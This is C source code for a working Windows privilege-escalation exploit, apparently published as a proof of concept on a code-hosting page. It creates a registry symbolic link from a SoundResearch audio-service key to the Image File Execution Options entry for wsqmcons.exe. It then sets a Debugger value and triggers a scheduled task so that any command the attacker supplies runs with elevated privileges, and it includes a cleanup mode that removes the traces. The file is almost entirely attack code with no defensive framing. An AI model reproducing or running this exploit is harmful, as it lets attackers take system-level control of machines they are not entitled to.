README.md
Rendering markdown...
#define WINVER 0x0600
#define _WIN32_WINNT 0x0600
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <windows.h>
#define SOUNDRESEARCH_KEY L"Software\\SoundResearch\\APO"
#define IFEO_KEY L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wsqmcons.exe"
#define REGLINK_TARGET L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wsqmcons.exe"
#define REG_SYMLINK_VALUE L"SymbolicLinkValue"
extern NTSTATUS WINAPI NtDeleteKey(HANDLE KeyHandle);
BOOL prepare(void)
{
wchar_t* linkstr = REGLINK_TARGET;
HKEY hlink = NULL;
RegDeleteTreeW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY);
if(!RegCreateKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, 0, NULL, REG_OPTION_CREATE_LINK, KEY_WRITE | KEY_READ, NULL, &hlink, NULL))
{
RegSetValueExW(hlink, REG_SYMLINK_VALUE, 0, REG_LINK, (void*)linkstr, wcslen(linkstr) * sizeof(wchar_t));
RegCloseKey(hlink);
return TRUE;
}
return FALSE;
}
BOOL exploit(char* cmdline)
{
BOOL ret = FALSE;
HKEY key = NULL;
char debugger[1536];
char path[MAX_PATH];
if(strlen(cmdline) > 1024)
{
return FALSE;
}
if(!GetModuleFileNameA(NULL, path, MAX_PATH))
{
return FALSE;
}
sprintf(debugger, "\"%s\" run \"%s\"", path, cmdline);
if(!RegOpenKeyExW(HKEY_LOCAL_MACHINE, IFEO_KEY, 0, KEY_SET_VALUE, &key))
{
if(!RegSetValueExA(key, "Debugger", 0, REG_SZ, (const BYTE*)debugger, (DWORD)strlen(debugger) + sizeof(char)))
{
system("schtasks.exe /end /tn \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" >nul");
if(!system("schtasks.exe /run /tn \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" /I >nul"))
{
ret = TRUE;
}
}
RegCloseKey(key);
}
return ret;
}
void run(char* cmdline)
{
system(cmdline);
}
void cleanup(void)
{
HKEY hlink = NULL;
if(!RegOpenKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, REG_OPTION_OPEN_LINK, DELETE, &hlink))
{
NtDeleteKey(hlink);
RegCloseKey(hlink);
}
RegDeleteTreeW(HKEY_LOCAL_MACHINE, IFEO_KEY);
}
int main(int argc, char** argv)
{
if(argc < 2)
{
printf("Usage: %s [prepare|exploit|run|cleanup] \"{command line (exploit|run)}\"\n", argv[0]);
return 1;
}
if(!strcmp(argv[1], "cleanup"))
{
printf("Cleanup exploit artefacts ...\n");
cleanup();
return 0;
}
else if(!strcmp(argv[1], "prepare"))
{
printf("Prepare exploit...\n");
if(!prepare())
{
printf("Symlink creation failed!\n");
return 1;
}
printf("Symlink created! Now restart the machine or \"SECOMNService\" service!\n");
return 0;
}
else if(!strcmp(argv[1], "exploit"))
{
if(argc < 3)
{
printf("exploit parameter requires an extra command line argument!\n");
return 1;
}
printf("Set debugger value for HKLM\\%ls ...\n", IFEO_KEY);
if(!exploit(argv[2]))
{
printf("Failed to run the exploit! Check the permissions!\n");
return 1;
}
printf("Exploit successful! Queue command: \"%s\"\n", argv[2]);
return 0;
}
else if(!strcmp(argv[1], "run"))
{
if(argc < 3)
{
printf("run parameter requires an extra command line argument!\n");
return 1;
}
printf("Run command: \"%s\"\n", argv[2]);
run(argv[2]);
return 0;
}
printf("Command \"%s\" not known. Use prepare, exploit, run or cleanup!\n");
return 1;
}